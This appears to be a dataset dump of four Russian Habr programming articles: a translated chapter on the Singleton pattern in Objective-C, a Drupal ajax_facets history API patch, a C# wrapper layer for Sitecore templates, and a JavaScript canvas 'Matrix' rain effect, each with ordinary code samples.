text
stringlengths
20
1.01M
url
stringlengths
14
1.25k
dump
stringlengths
9
15
lang
stringclasses
4 values
source
stringclasses
4 values
# Синглтон (Перевод с английского главы «Singleton» из книги «Pro Objective-C Design Patterns for iOS» Carlo Chung) В математике и логике синглтон определяется как «множество, содержащее ровно один элемент». Поэтому неважно, насколько велика сумка, каждый раз при попытке достать из неё шарик будем получать один и тот же. В каких ситуациях нужен синглтон в программировании? Подумайте о ресурсах, которые невозможно скопировать, но можно использовать совместно. Например, на iPhone установлен единственный модуль GPS и определять текущие координаты умеет только он. Класс `CLLocationManager` из фреймворка CoreLocation предоставляет единственную точку входа ко всем сервисам GPS-модуля. Кто-нибудь может подумать: если можно сделать копию `CLLocationManager`, можно ли получить дополнительный набор GPS-сервисов для своего приложения? Это звучит, как фантастика – вы создали два программных GPS по цене одного аппаратного. Но в реальности вы все равно получаете только один GPS единовременно, так как в iPhone есть только один GPS, который создает настоящие соединения со спутниками. Так что, если вы думаете, что создали супер-приложение, которое может манипулировать двумя отдельными GPS-соединениями одновременно, и хотите похвастаться этим перед друзьями, подумайте дважды. Класс синглтона в объектно-ориентированном приложении всегда возвращает один и тот же экземпляр самого себя. Он обеспечивает глобальную точку доступа для ресурсов, которые предоставляет объект класса. Паттерн с такой функциональностью называется Синглтон. В этой главе мы изучим возможности реализации и использования паттерна Синглтон в Objective-C и фреймворке Cocoa Touch на iOS. ##### Что из себя представляет паттерн Синглтон? Паттерн Синглтон – едва ли не самый простой из паттернов. Его назначение в том, чтобы сделать объект класса единственным экземпляром в системе. В первую очередь нужно запретить создавать более одного экземпляра класса. Для этого можно использовать фабричный метод (глава 4), который должен быть статическим, так как не имеет смысла разрешать экземпляру класса создавать другой единственный экземпляр. Рисунок 7-1 показывает структуру класса простого синглтона. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/3ad/f70/60e/3adf7060e2e64633da3beb2f23f9d8bb.png) Рисунок 7-1. Статическая структура паттерна Синглтон. Статический `uniqueInstance` – это единственный экземпляр класса `Singleton`, представленный в виде переменной класса, которую статический метод `sharedInstance` вернет клиентам. Обычно sharedInstance будет проверять, инстанцирован ли `uniqueInstance`. Если нет, метод создаст его перед возвратом. Примечание. **Паттерн Синглтон:** Проверяет, что есть только один экземпляр класса и обеспечивает единую точку доступа к нему.\* \*Исходное определение, представленное в «Design Patterns» GoF (Addison-Wesley, 1994). ##### Когда можно использовать паттерн Синглтон? Есть смысл подумать об использовании паттерна Синглтон, если: * В системе может быть только один экземпляр класса, который должен быть доступен через хорошо известную точку доступа, например, фабричный метод. * Единственный экземпляр может быть расширен только путем наследования, и клиентский код не потеряет работоспособность от использования расширенного объекта. Паттерн Синглтон обеспечивает привычный способ создания уникального экземпляра с удобным способом доступа к разделяемому ресурсу. Метод использования ссылки на статический глобальный объект не предотвращает создание другого экземпляра того же класса. Подход использования метода класса, хотя и может предоставить глобальную точку доступа, но ему недостает гибкости разделения кода. Статическая глобальная переменная содержит единственную ссылку на экземпляр класса. Другой класс или метод, которые имеют к ней доступ, фактически разделяют ту же самую копию с другими классами или методами, использующими ту же переменную. Похоже на то, что нам нужно. Все выглядит замечательно, пока используется та же самая глобальная переменная по всему приложению. Таким образом, фактически, паттерн Синглтон не нужен. Но подождите! Что, если кто-то в вашей команде определил в коде такую же глобальную переменную, как ваша? Тогда будет две копии одного и того же глобального объекта в одном приложении – поэтому глобальная переменная на самом деле не решает проблему. Метод класса предоставляет возможность разделения без создания его объекта. Единственный экземпляр ресурса поддерживается в методе класса. Однако этот подход имеет недостаток гибкости в случае, если класс требует наследования для обеспечения большей функциональности. Класс Синглтона может гарантировать единую, согласованную и хорошо известную точку доступа для создания и доступа к единственному объекту класса. Паттерн обеспечивает такую гибкость, что любой из его подклассов может переопределить метод создания экземпляра и иметь полный контроль над созданием объекта класса без изменения кода клиента. Еще лучше то, что реализация метода создания экземпляра может обрабатывать создание объекта динамически. Реальный тип класса может определяться во время выполнения, чтобы быть уверенным, что создается корректный объект. Эта техника будет обсуждаться дальше. Существует также гибкая версия паттерна Синглтон, в которой фабричный метод всегда возвращает один и тот же экземпляр, но можно в дополнение аллоцировать и инициализировать другие экземпляры. Эта менее строгая версия паттерна обсуждается в разделе «Использование класса NSFileManager» далее в этой главе. ##### Реализация Синглтона в Objective-C Есть кое-что, над чем стоит подумать, чтобы спроектировать класс Синглтона правильно. Первый вопрос, которым нужно задаться, — это как удостовериться, что только один экземпляр класса может быть создан? Клиенты в приложении, написанном на других объектно-ориентированных языках, таких, как C++ и Java, не могут создать объект класса, если его конструктор объявлен закрытым. А как обстоят дела в Objective-C? Любой Objective-C метод является открытым, и язык сам по себе динамически типизированный, поэтому любой класс может послать сообщение другому (вызов метода в C++ и Java) без значительных проверок во время компиляции (только предупреждения компилятора, если метод не объявлен). Также фреймворк Cocoa (включая Cocoa Touch) использует управление памятью методом подсчета ссылок для поддержания времени жизни объекта в памяти. Все эти особенности делают реализацию Синглтона в Objective-C довольно непростой. В оригинальном примере книги «Паттерны проектирования» пример Синглтона на C++ выглядел, как показано в листинге 7-1. Листинг 7-1. Исходный пример на C++ паттерна Синглтон из книги «Паттерны проектирования». ``` class Singleton { public: static Singleton *Instance(); protected: Singleton(); private: static Singleton *_instance; }; Singleton *Singleton::_instance = 0; Singleton *Singleton::Instance() { if (_instance == 0) { _instance = new Singleton; } return _instance; } ``` Как описано в книге, реализация в C++ проста и прямолинейна. В статическом методе `Instance()` статическая переменная `_instance` проверяется на 0 (`NULL`). Если так, то создается новый объект класса `Singleton` и затем возвращается. Кто-то из вас может подумать, что Objective-C версия не сильно отличается от своего собрата и должна выглядеть, как в листингах 7-2 и 7-3. Листинг 7–2. Объявление класса Singleton в Singleton.h ``` @interface Singleton : NSObject { } + (Singleton *) sharedInstance; @end ``` Листинг 7–3. Реализация метода sharedInstance Singleton.m ``` @implementation Singleton static Singleton *sharedSingleton_ = nil; + (Singleton *) sharedInstance { if (sharedSingleton_ == nil) { sharedSingleton_ = [[Singleton alloc] init]; } return sharedSingleton_; } @end ``` Если так, то это очень простая глава, и вы уже изучили один паттерн, реализованный на Objective-C. На самом деле есть несколько трудностей, которые нужно преодолеть, чтобы сделать реализацию достаточно надежной для использования в реальном приложении. Если нужна «строгая» версия паттерна Синглтон, то есть две главных проблемы, которые нужно решить, чтобы его можно было использовать в реальном коде: * Вызывающий объект не может создать объект Синглтона через другие средства аллокации. Иначе станет возможным создание множества экземпляров класса Синглтона. * Ограничения на создание объекта Синглтон должны быть согласованы с моделью подсчета ссылок. Листинг 7-4 показывает реализацию, которая близка к той, к которой мы стремимся. Код довольно длинный, поэтому разобьем его на несколько частей для удобства обсуждения. Листинг 7–4. Более подходящая реализация Singleton в Objective-C ``` #import "Singleton.h" @implementation Singleton static Singleton * sharedSingleton_ = nil; + (Singleton*) sharedInstance { if (sharedSingleton_ == nil) { sharedSingleton_ = [[super allocWithZone:NULL] init]; } return sharedSingleton_; } ``` Внутри метода `sharedInstance`, так же, как и в первом примере, сначала проверяется, что единственный экземпляр класса создан, иначе создается новый и возвращается. Но в этот раз он вызывает `[[super allocWithZone:NULL] init]` для создания нового экземпляра вместо использования других методов, таких, как `alloc`. Почему `super`, а не `self`? Это потому, что базовые методы выделения памяти под объект в нашем классе переопределены, поэтому нужно «одолжить» эту функциональность у базового класса, в данном случае у `NSObject`, чтобы помочь сделать низкоуровневую рутинную работу по выделению памяти для нас. ``` + (id) allocWithZone:(NSZone *)zone { return [[self sharedInstance] retain]; } - (id) copyWithZone:(NSZone*)zone { return self; } ``` Есть несколько методов, которые относятся к управлению памятью в классе `Singleton`, о которых нужно подумать. В методе `allocWithZone:(NSZone *)zone` происходит просто возврат экземпляра класса, который возвращается из метода `sharedInstance`. Во фрейворке Cocoa Touch при вызове метода класса `allocWithZone:(NSZone *)zone` память под экземпляр будет выделена, его счетчик ссылок будет установлен в 1, и экземпляр будет возвращен. Мы видели, что метод `alloc` используется во многих ситуациях; фактически `alloc` вызывает `allocWithZone:` с зоной, установленной в `NULL`, чтобы выделить память под экземпляр в зоне по умолчанию. Детали создания объекта и управления памятью находятся за пределами данной книги. Вы можете обратиться к документации для дальнейших разъяснений. Аналогично нужно переопределить метод `copyWithZone:(NSZone*)zone`, чтобы убедиться, что он не вернет копию экземпляра, а вернет тот же самый, возвращая `self`. ``` - (id) retain { return self; } - (NSUInteger) retainCount { return NSUIntegerMax; // показывает, что объект не может быть освобожден } - (void) release { // ничего не делает } - (id) autorelease { return self; } @end ``` Другие методы, такие, как `retain`, `release` и `autorelease`, переопределяются, чтобы убедиться, что они не сделают ничего (в модели управления памятью с подсчетом ссылок), кроме как вернут `self`. Метод `retainCount` возвращает `NSUIntegerMax` (4,294,967,295) для предотвращения удаления экземпляра из памяти в течение жизни приложения. **Зачем вызывать retain Синглтону?** Возможно, вы заметили, что мы вызываем `retain` объекту Синглтона, который возвращается из метода `sharedInstance` в `allocWithZone:`, но `retain` переопределяется и фактически игнорируется в нашей реализации. Учитывая это, у нас будет возможность сделать класс Синглтона менее «строгим» (то есть, можно будет выделять память под дополнительные экземпляры и инициализировать их, но фабричный метод `sharedInstance` всегда возвращает один и тот же экземпляр или объект Синглтона становится разрушаемым). Подклассы могут переопределять методы `retain`, `release` и `autorelease` снова, чтобы обеспечить подходящую реализацию управления памятью. Гибкая версия паттерна Синглтон обсуждается в разделе «Использование класса NSFileManager» далее в этой главе. Мы уже достаточно подробно рассмотрели, как должен выглядеть паттерн Синглтон в Objective-C. Однако есть еще кое-что, о чем стоит хорошенько подумать, прежде чем можно будет его использовать. Что, если мы хотим наследовать от первоначального класса `Singleton`? Рассмотрим, как это сделать. ##### Наследование от Синглтона Вызов `alloc` перенаправляется в `super`, поэтому класс `NSObject` позаботится о выделении памяти под объект. Если мы наследуемся от класса `Singleton` без модификаций, то возвращаемый экземпляр всегда будет типа `Singleton`. Поскольку класс `Singleton` переопределяет все относящиеся к созданию экземпляра методы, довольно непросто наследовать от него. Но нам повезло; можно использовать некоторые функции Foundation для инстанцирования любого объекта, основываясь на его типе класса. Одна из них – это `id NSAllocateObject (Class aClass, NSUInteger extraBytes, NSZone *zone)`. Поэтому, если мы хотим инстанцировать объект класса, называющийся «Singleton», можно сделать следующее: ``` Singleton *singleton = [NSAllocateObject ([Singleton class], 0, NULL) init]; ``` Первый параметр – это тип класса `Singleton`. Второй параметр предназначен для любого количества дополнительных байт для индексированных переменных экземпляра, который всегда равен 0. Третий параметр – обозначение зоны выделяемой памяти; почти всегда используется зона по умолчанию (параметр равен `NULL`). Поэтому можно инстанцировать любые объекты, используя эту функцию, зная тип класса. Что нужно делать для наследования от класса `Singleton`? Давайте вспомним, что изначальный вариант метода `sharedInstance` выглядит так: ``` + (Singleton*) sharedInstance { if (sharedSingleton_ == nil) { sharedSingleton_ = [[super allocWithZone:NULL] init]; } return sharedSingleton_; } ``` Если использовать трюк с `NSAllocateObject` для создания экземпляра, то он станет таким: ``` + (Singleton *) sharedInstance { if (sharedSingleton_ == nil) { sharedSingleton_ = [NSAllocateObject([self class], 0, NULL) init]; } return sharedSingleton_; } ``` Теперь неважно, инстанцируем ли мы класс `Singleton` или какой-то из его подклассов, эта версия сделает все корректно. ##### Потокобезопасность Класс `Singleton` в примере хорош только для общего использования. Если нужно использовать объект синглтона в многопоточной среде, то необходимо сделать его потокобезопасным. Для этого можно вставить блоки `@synchronized()` или использовать экземпляры `NSLock` вокруг проверки на `nil` для статической переменной экземпляра `sharedSingleton_`. Если есть какие-то другие свойства, которые тоже нужно защитить, то можно сделать их `atomic`. ##### Использование Синглтонов во фреймворке Cocoa Touch В процессе знакомства с документацией Cocoa Touch Framework вам встретится много разных классов синглтонов. Мы поговорим о некоторых из них в этом разделе — `UIApplication`, `UIAccelerometer` и `NSFileManager`. ###### Использование класса UIApplication Одним из наиболее часто используемых синглтон классов во фреймворке является класс `UIApplication`. Он обеспечивает централизованную точку управления и координирования для iOS-приложений. Каждое приложение имеет единственный экземпляр `UIApplication`. Он создается как синглтон объект функцией `UIApplicationMain` при запуске приложения и доступен во время выполнения через метод класса `sharedApplication`. Объект `UIApplication` выполняет много служебных задач для программы, включая начальную маршрутизацию входящих сообщений пользователя, а также диспетчеризацию сообщений о действиях для объектов класса `UIControl` к соответствующим целевым объектам. Он поддерживает список всех открытых объектов `UIWindow`. Объект приложения связан с объектом делегата приложения `UIApplicationDelegate`, который информируется о любых значимых событиях во время выполнения программы, таких, как запуск, предупреждения о нехватки памяти, завершение приложения и выполнение фоновых процессов. Обработчики этих событий дают возможность делегату настроить поведение приложения. ###### Использование класса UIAccelerometer Другой распространенный синглтон во фреймворке Cocoa Touch – это `UIAccelerometer`. Класс `UIAccelerometer` позволяет приложению подписаться на получение связанных с акселерацией данных из встроенного акселерометра в iOS-устройстве. Приложение может использовать данные по изменениям линейной акселерации по главным осям в трехмерном пространстве для определения и текущей ориентации устройства, и мгновенных изменений в ориентации. Класс `UIAccelerometer` является синглтоном, поэтому нельзя создавать его объекты явно. Для доступа к его единственному экземпляру нужно вызывать метод класса `sharedAccelerometer`. Кроме того, можно установить его свойство `updateInterval` и свойство `delegate` в свой собственный объект делегата для получения любых отчетных данных по акселерации от экземпляра синглтона. ###### Использование класса NSFileManager Класс `NSFileManager` когда-то был «строгой» реализацией паттерна Синглтон перед Mac OS X 10.5 и в iOS 2.0. Вызов его метода `init` ничего не делает, и его единственный экземпляр может быть создан и доступен только через метод класса `defaultManager`. Однако поскольку синглтон реализация не является потокобезопасной, то приходится создавать новые экземпляры `NSFileManager`, чтобы обеспечить эту безопасность. Этот подход рассматривается как более гибкая реализация Синглтона, в которой фабричный метод всегда возвращает один и тот же экземпляр, но можно выделить и инициализировать также дополнительные экземпляры. Если нужно реализовать «строгий» синглтон, необходима реализация, похожая на пример, описанный в предыдущих разделах. Иначе – не переопределяйте `allocWithZone:` и другие связанные методы. ##### Выводы Паттерн Синглтон – один из наиболее широко используемых паттернов в почти любом типе приложения, и не только под iOS. Синглтон может быть полезен в том случае, когда требуется централизованный класс для координирования сервисов приложения. Эта глава отмечает конец этой части о создании объектов. В следующей части мы увидим некоторые паттерны проектирования, которые фокусируются на адаптации/консолидации объектов с разными интерфейсами.
https://habr.com/ru/post/198470/
null
ru
null
# Drupal: ajax_facets и history API ![](https://habrastorage.org/r/w780q1/files/167/631/cbb/167631cbbccd44e19f157e5bd68081a8.jpg)Наверное, каждый веб разработчик сталкивался с необходимостью в реализации поиска на сайте. Довольно распространенное решение — Apache Solr. В мире Drupal разработки это не исключение. Для интеграции Solr с Drupal и реализации фасетного поиска существуют модули [search\_api](https://www.drupal.org/project/search_api), [search\_api\_solr](https://www.drupal.org/project/search_api_solr) и [facetapi](https://www.drupal.org/project/facetapi). Но в большинстве случаев нам бы хотелось, чтобы результаты поиска и фасетные фильтры обновлялись без перезагрузки страницы, то есть ajax'ом. И, как обычно в мире Drupal, на [d.org](https://www.drupal.org) найдется какой-нибудь проверенный временем и пользователями модуль (а может и не проверенный, как повезет), который делает то, что нам нужно. В данном случае это [ajax\_facets](https://www.drupal.org/project/ajax_facets). Ajax facets — модуль, предоставляющий несколько типов «виджетов», которые могут использоваться в фильтрах фасетного поиска. Это «range slider», «multiple checkboxes», «selectbox» и «links». При изменении значений в этих «виджетах» фильтры и результат поиска обновляются ajax'ом. Здорово. Но было бы еще лучше, если бы модуль дружил с history API. То есть сохранял бы каждое состояние фильтра в истории, что позволило бы пользователям ходить по истории поиска кнопками «назад» и «вперед» в браузере, опять же, без перезагрузки страницы. #### Задача Конечно, потребность в этой фиче и интерес в реализации возник не сам по себе. На одном из проектов была поставлена задача подружить ajax\_facets с history API. О чем я и хочу рассказать. #### Решение Как это обычно бывает, решение проблемы начинается с поиска готового решения или по крайней мере патча. Готового решения не нашлось, зато [был найден патч](https://www.drupal.org/files/ajax_facets-push_state_support-0.patch). Судя [по описанию](https://www.drupal.org/node/2105177) на issue трекере проекта он делал как раз то, что нужно. Но, к сожалению, патч был стар и годен только для старой ветки модуля (7.x-2.x). Идея его очень проста: сохранить в историю браузера текущее состояние фильтров в тот момент, когда ajax\_facets получает успешный ответ от сервера на обновление результата поиска и самих фильтров. А по нажатию на кнопки «назад» и «вперед» доставать сохраненное состояние фильтров из истории и отсылать запрос на обновление фильтров и результатов поиска с параметрами из сохраненного состояния. Для проверки работоспособности идеи как таковой я [портировал](https://www.drupal.org/node/2105177#comment-10773758) найденный патч в актуальную ветку модуля (7.x-3.x). Все работало. Однако требовало улучшений. А именно хотелось бы чтобы эта фича работала и в старых, не поддерживающих history API, браузерах. Задача несложная. Есть [history.js](https://github.com/browserstate/history.js/), который эмулирует history API. С другой стороны не хотелось добавлять жесткую зависимость на эту библиотеку, так как это значило бы добавление в зависимости модуля [libraries](https://www.drupal.org/project/libraries). Такой патч точно бы никто не принял. Представьте, обновляете Вы ajax\_facets модуль, а в зависимостях у него появился libraries, который Вам то и не нужен. Да и сама поддержка старых браузеров в виде history.js Вам тоже не нужна (попросту не поддерживаете старые браузеры, например). Чтобы избежать таких ситуаций, решил сделать все немного гибче: 1. На стороне сервера проверяем наличие libraries модуля и библиотеки history.js. Если зависимости найдены, то передаем на front-end сторону флаг «history.js доступна, можно использовать history API». 2. На стороне клиента проверяем, поддерживает ли браузер history API (нативно либо через history.js). Если да, то делаем все как положено. Иначе получаем стандартное поведение ajax\_facets (как и было до патча). #### Реализация Первый пункт достигается следующим образом: Выдаем подсказки на «Status report» странице, если зависимости не найдены. ``` /** * Implements hook_requirements(). */ function ajax_facets_requirements($phase) { $requirements = array(); $t = get_t(); switch ($phase) { case 'runtime': $description = $t('For now browser ajax history feature works only in HTML5 browsers. If you want to get this feature on HTML4 browsers you need to install libraries module and download history.js library.'); $value = $t('Libraries module not installed.'); if (module_exists('libraries')) { if (!libraries_get_path('history.js')) { $description = $t('For now browser ajax history feature works only in HTML5 browsers. If you want to get this feature on HTML4 browsers you need to download history.js library.'); $value = $t('Library history.js not found.'); } else { $description = $t('For now browser ajax history feature works both in HTML4 and HTML5 browsers.'); $value = $t('Works with history.js library'); } } $requirements['ajax_facets_message'] = array( 'title' => $t('Ajax Facets'), 'description' => $description, 'value' => $value, 'severity' => REQUIREMENT_INFO, ); break; } return $requirements; } ``` И пробрасываем флаг на front-end сторону в случае если history.js библиотека найдена. ``` /** * Add required JS and handle single inclusion. */ function ajax_facets_add_ajax_js($facet) { static $included = FALSE; if (!$included) { ... // Add history.js file if exists. if (module_exists('libraries')) { $history_js_path = libraries_get_path('history.js'); if ($history_js_path) { $history_js_exists = TRUE; drupal_add_js($history_js_path . '/scripts/bundled/html4+html5/jquery.history.js', array('group' => JS_LIBRARY)); } } ... $facet = $facet->getFacet(); $setting['facetapi'] = array( .... 'isHistoryJsExists' => $history_js_exists, ); drupal_add_js($setting, 'setting'); drupal_add_library('system', 'drupal.ajax'); } } ``` Реализация второго пункта показана на примере функции-обертки pushState: ``` /** * Pushes new state to browser history. * * History.js library fires "statechange" event even on API push/replace calls. * So before pushing new state to history we should unbind from this event and after bind again. */ Drupal.ajax_facets.pushState = function (state, title, stateUrl) { // If history.js available - use it. if (Drupal.settings.facetapi.isHistoryJsExists) { var $window = $(window); $window.unbind('statechange', Drupal.ajax_facets.reactOnStateChange); History.pushState(state, title, stateUrl); $window.bind('statechange', Drupal.ajax_facets.reactOnStateChange); } else { // Fallback to HTML5 history object. if (typeof history.pushState != 'undefined') { history.pushState(state, title, stateUrl); } } }; ``` Кстати, в history.js есть одна интересная особенность, которую нужно учитывать: событие **statechange** вызывается при нажатии кнопок истории браузера, а так же при программном обновлении истории, например вызовом History.pushState() метода. В нативной реализации history API браузерами есть событие **onpopstate**, которое вызывается только при нажатии на кнопки истории браузера. Чтобы избежать лишнего срабатывания statechange нужно отписаться от этого события перед обновлением истории браузера, а после подписаться на него снова. #### Вывод Не всегда удается найти и применить готовое решение. Но это очень здорово. Это дает возможность разобраться, посмотреть как модуль, который использовал раньше, работает внутри. И, в конце концов, просто приятно, когда предложенное тобой решение комитят в популярный проект. Это значит, в следующий раз у кого-нибудь другого такой проблемы уже не возникнет. Полный diff можно посмотреть [здесь](https://www.drupal.org/files/issues/ajax_facets-html5-states-history-js-2105177-35.patch).
https://habr.com/ru/post/283282/
null
ru
null
# ORM для Sitecore своими руками Здравствуйте хабровчане. ![sitecore](https://habrastorage.org/r/w1560/storage2/01a/893/086/01a8930866b87936befa679e827bee49.png) Sitecore мало освещается на хабре, однако это очень функциональная (и дорогая) CMS довольно популярна у тех, кто может её себе позволить. Вместе с тем, люди разрабатывающие (и особенно поддерживающие) сайты на sitecore часто жалуются на трудности модификации темплейтов. Так, простое переименование темплейта или одного поля может привести к непредсказуемым и, главное, трудно поддающимся диагностике и исправлению нарушениям в работе сайта. Причём вылезти они могут только через несколько месяцев. Кроме того, использование стандартных сайткоровских FieldRenderer-ов затрудняет контроль над разметкой, что было критично в нашем случае. ##### Зачем велосипед? Существуют решения для генерации классов на основе темплейтов (как [trac.sitecore.net/CompiledDomainModel](http://trac.sitecore.net/CompiledDomainModel)), однако они не очень удобны в использовании и не устраняют привязку к структуре темплейта, именам полей. Упомянутый CompiledDomainModel требует регенерации всех моделей после любых изменений. Также он слабо подходит для совместной разработки (постоянные конфликты в сгенерированном коде), требует уникальных имён для всех темплейтов, завязывается на пути к темплейтам и ID-шки и генерирует чудовищный код одним файлом (на одном из проектов там было больше 60 000 строк и открыть его в VS было делом очень не быстрым). Нашей команде посчастливилось разрабатывать новый сайт под сайткор 6.3, опираясь на опыт поддержки существующих сайтов. Сразу подчеркну, что речь будет идти о контентном сайте. Интересный функционал требовался только в админке и он мало связан непосредственно с сайткором. ##### Далее о форме колёс Решено было уйти от привязки к сайткору на sublayout-ах, прикрутить строгую типизацию для темплейтов и филдов, хранить названия филдов только в единственном и предсказуемом месте. В основе всех наших классов-оболочек для темплейтов лежит class Template, основная задача которого проверять все существующие темплейты Item-а и сверять их имена с заявленным. Для связи класс-темплейт используется атрибут DataContract. *Note: здесь и далее в код сокращён для передачи основной мысли и удобочитаемости* ``` [DataContract(Name = "Base text page")] public class BaseTextPage : Template {...} ``` ``` public class Template { private readonly Item item; public Template(Item item) { var missedTemplates = GetMissedTemplates(item, this.GetType()); //тут мы читаем DataContract и проверяем валидность создания класса из данного Item-а. if (missedTemplates.Any()) { ... throw new InvalidDataException("Item is not of required template”); // с указанием что и где не хватает } this.item = item; } … } ``` В том же классе Template находятся несколько полезных функций для обращения к полям темплейта: ``` protected T GetField(string name, T @default = default(T)) { var dataType = typeof(T); var field = this.Item.Fields[name]; … //несколько конструкций вида: if (dataType == typeof(string)) { if (string.IsNullOrEmpty(field.Value)) { return @default; } return (T)(object)field.Value; } if (dataType == typeof(LinkField)) { return (T)(object)new LinkField(field); } if (dataType == typeof(ImageField)) { return (T)(object)new ImageField(field); } … //etc for all field types } protected T GetFromField(string name) where T : Template { var link = this.GetField(name); if (link != null && link.TargetItem != null) { return (T)Activator.CreateInstance(typeof(T), link.TargetItem); } return null; } protected T GetFromParent() where T : Template { if (this.Item == null || this.Item.Parent == null) { return default(T); } return (T)Activator.CreateInstance(typeof(T), this.Item.Parent); } ``` Следующий шаг — обращение к полям. Известная проблема ~~сайткора~~ при поддержке сайткор-сайтов — имена полей, щедро раскиданные по всему проекту. Наша задача — иметь одно и только одно имя поля в проекте. Снова используем стандартные атрибуты, теперь DataMember. ``` [DataContract(Name = "Base text page")] public class BaseTextPage : Template { [DataMember(Name = "Big text content")] public string Text { get { return this.Item[this.GetFieldName(x => x.QuestionText)]; } } [DataMember(Name = "Logo Image")] public string LogoImage { get { return this.GetField(this.GetFieldName(x => x.BigImage)).GetMediaUrl(); } } … } ``` Самое важное тут — функция GetFieldName, объявленная как extension-method вида: ``` private static readonly Dictionary fieldNameCache = new Dictionary(); public static string GetFieldName(this T obj, Expression> memberExpression) where T : class { if (obj == null) { throw new ArgumentNullException("obj"); } var member = memberExpression.ToMember(); if (member.MemberType != MemberTypes.Property) { throw new ArgumentException("Not a property access", "memberExpression"); } var fieldCahceKey = typeof(T).Name + member.Name; if (fieldNameCache.ContainsKey(fieldCahceKey)) { return fieldNameCache[fieldCahceKey]; } var fieldName = typeof(T) .GetProperty(member.Name) .GetCustomAttributes(typeof(DataMemberAttribute), true) .Cast() .Select(curr => curr.Name) .FirstOrDefault(); if (string.IsNullOrEmpty(fieldName)) { return null; } fieldNameCache[fieldCahceKey] = fieldName; return fieldName; } private static MemberInfo ToMember( this Expression> propertyExpression) { if (propertyExpression == null) { throw new ArgumentNullException("propertyExpression"); } var expression = propertyExpression.Body; if (expression.NodeType == ExpressionType.MemberAccess) { var memberExpression = expression as MemberExpression; if (memberExpression != null) { return memberExpression.Member; } } throw new ArgumentException("Not a member access", "propertyExpression"); } ``` На этом этапе мы можем написать что-нибудь типа: ``` BaseTextPage page = new BaseTextPage(Sitecore.Context.Item); var text = page.Text; var imageUrl = page.LogoImage; ``` и получить данные из полей “Big text content”/”Logo image” текущего Item-а, при условии, что его темплейт подойдёт классу BaseTextPage. Далее мы делаем обёртку для того темплейта, который будет базовым для всех других наших темплейтов. Как минимум это будет “Standart template”, но обычно лучше сделать что-нибудь более полезное. К примеру ``` [DataContract(Name = "Base page")] public class BasePage : Template { [DataMember(Name = "Show in menu")] public bool ShowInMenu { get { return this.Item[this.GetFieldName(x => x.ShowInMenu)].GetBoolValue(); } } [DataMember(Name = "Page title")] public string Title { get { return this.Item[this.GetFieldName(x => x.Title)]; } } } ``` Теперь внедряем всё это в Sublayout-ы: ``` public class BaseSublayout : UserControl where T : BasePage { protected virtual T Model { get { return (T)Activator.CreateInstance(typeof(T), Sitecore.Context.Item); } } } public partial class ConcreteTextPage: BaseSublayout { protected void Page\_Load(object sender, EventArgs e) { var smthUsefull = this.Model.HeaderText; } } ``` С этого момента содержимое .aspx файлов начинает напоминать таковую в ASP.MVC. Для ~~усиления эффекта~~ удобства сделан комплект extension-методов для вывода разметки со стандартными проверками на присутствие/валидность данных (например, не выводить картинки с пустым src или ссылки без href). ``` <%= this.Model.Header %> ======================== <%= HtmlHelper.RenderImage(this.Model.SomeEntity.MainImage) %> <% foreach (var link in this.Model.SelectedLinks) { %> <%= HtmlHelper.Anchor(link.Url, link.Text) %> <% } %> ``` Плюсы подхода: + все нужные поля контекстного Item-а под рукой, в виде свойств + контекстный Item всегда имеет правильный темплейт + все стандартные для сайткора проверки на наличие данных сделаны в одном месте + централизованное обращение к настройкам сайта, для которых написаны аналогичные обёртки + чистый (минимальный, отсутствующий) код страниц + полный контроль вёрстки Минусы — все маппинги руками — расходы на извлечение имён полей/темплейтов Надеюсь, эта статья будет полезна sitecore-разработчикам.
https://habr.com/ru/post/154313/
null
ru
null
# Реализуем визуальный эффект из фильма «Матрица» ![](https://habrastorage.org/r/w780q1/webt/y7/rx/av/y7rxavmwlct3n-bqq-fshqjv_ig.jpeg) Доброго времени суток, друзья! На днях пересмотрел «Матрицу». Слушайте, до чего же классный фильм (это касается только первой части). В очередной раз обратил внимание на «падающие» строчки с иероглифами на ихних экранах (намеренно использовал слово «ихних» забавы ради). Задумался о том, как это можно реализовать… максимально простым способом (ибо лень). Вот что у меня получилось. ### Welcome to the Matrix Разметка выглядит так: ``` ``` Инициализируем холст, контекст, ширину и высоту холста. Делаем последние равными ширине и высоте окна браузера: ``` const C = document.querySelector("canvas"), $ = C.getContext("2d"), W = C.width = innerWidth, H = C.height = innerHeight ``` Создаем строку с символами, которые будут использоваться для визуализации (не хочу иероглифы, хочу кириллицу!). Преобразуем данную строку в массив. Пробелы дают пустоты в колонках, с ними эффект интереснее: ``` const str = "А+Б0В-Г1Д=Е2Ё Ж3З И4Й К5Л М6Н О7П Р8С Т9У Ф!Х Ц?Ч Ш.ЩЪ,Ы Ь:ЭЮ;Я", matrix = str.split('') ``` Определяем размер шрифта, количество колонок и создаем пустой массив. Этот массив мы будем использовать для определения координаты y: ``` let font = 11, // количество колонок = ширина холста / размер шрифта col = W / font, arr = [] ``` Заполняем пустой массив единицами по количеству колонок: ``` for(let i = 0; i < col; i++) arr[i] = 1 ``` К рисованию все готово. Приступаем: ``` function draw() { // определяем цвет фона // такой цвет позволяет добиться эффекта постепенного затухания символов $.fillStyle = "rgba(0, 0, 0, .05)" // заливаем холст выбранный цветом $.fillRect(0, 0, W, H) // меняем цвет для шрифта $.fillStyle = "#0f0" // устанавливаем параметры шрифта $.font = font + "px system-ui" // рисуем символы for (let i = 0; i < arr.length; i++) { // выбираем случайный набор символов let txt = matrix[Math.floor(Math.random() * matrix.length)] // рисуем символы // двигаемся вправо и вниз // fillText(набор символов, координата x = значение i, умноженное на размер шрифта, координата y = значение arr, умноженное на размер шрифта) $.fillText(txt, i * font, arr[i] * font) // если "y" больше высоты холста или Math.random() выдает больше 0.975 (чем это значение меньше, тем больше будет пустот на экране), то поднимаемся наверх (обнуляем "y") // это позволяет обеспечить разницу отрисовки отдельных колонок if (arr[i] * font > H && Math.random() > 0.975) arr[i] = 0 // увеличиваем значение y arr[i]++ } } ``` Запускаем функцию рисования через каждые 123 миллисекунды (число произвольное): ``` setInterval(draw, 123) ``` Наконец, при изменении размеров окна делаем перезагрузку страницы (ибо лень): ``` window.addEventListener('resize', () => location.reload()) ``` Результат можно посмотреть [здесь](https://codepen.io/igor_agapov/pen/ZEEPRba). Существует небольшая проблемка: время от времени колонки слипаются, отрисовываются почти вровень по горизонтали. Это влияет на восприятие: глаз цепляется за упорядоченность. Ощущается недостаток хаоса, что ли. Достойного решения пока не найдено. Благодарю за внимание.
https://habr.com/ru/post/485404/
null
ru
null
